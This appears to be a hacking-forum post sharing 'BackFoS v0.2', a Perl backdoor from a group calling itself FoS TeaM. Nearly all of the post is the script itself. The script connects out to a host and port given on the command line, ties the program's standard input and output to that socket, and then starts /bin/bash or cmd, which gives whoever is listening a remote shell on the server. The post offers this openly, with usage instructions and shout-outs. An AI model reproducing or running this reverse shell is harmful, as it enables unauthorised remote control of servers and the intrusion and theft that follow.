Perl BackFoS v0.2 - By FoS TeaM - [priv8] backconnect -

[Nax]

BackFoS v0.2 - By FoS TeaM - [priv8] backconnect -

>#!/usr/bin/perl

########### BackFoS v0.2 - By FoS TeaM - [priv8] ##########
#                                                       #
#       BackFoS is a Backdoor in PERL for  all  Servers         #
#               c0dex by Vengador de las Sombras                #
#                                                       #
#       USAGE: Perl BackFoS.pl          #
#       You need have listen nc, cryptcar, putty or other   #
#       program on  to connect with the backdoor  #
#                                                       #
#=========================================================#
#                                                       #
#  Gr3tz to: Lutscher, WaesWaes, CHR0N05, Keynet, Fr34k,  #     
# LГ«ssiГ«m TГЎralГіm, Phonix & ArgeniversoHack & #RE members #
#       Especial Thanx To Plaga, for the help =)        #
#                                                       #
#################### (c)FoS TeaM 2008 #####################

use IO::Socket;

print q(

=================================================
  BackFoS.pl c0dex by FoS TeaM
=================================================
);
$ARGC = @ARGV;
if ($ARGC != 3){ 
print "\nUsage: BackFoS.pl   ";
exit(0);
}

$host = $ARGV[0];
$port = $ARGV[1];
$OS = $ARGV[2];
use Socket;

print "[+]Connecting to $host ...";
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'))
                                                       || die "[-] Cannot Resolve $host";
connect(SOCKET, sockaddr_in($port, inet_aton($host)))
                                                       || die "[-] Cannot Connect to $host";

print "\n[+] Connected!";

open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");

print "\n .::BackFoS v0.2 - FoS TeaM - [Priv8]\n";
if ($OS == "-l"){
$ejecutor = "/bin/bash";
system($ejecutor);
}

if ($OS == "-w"){
$ejecutor = "cmd";
system($ejecutor);
}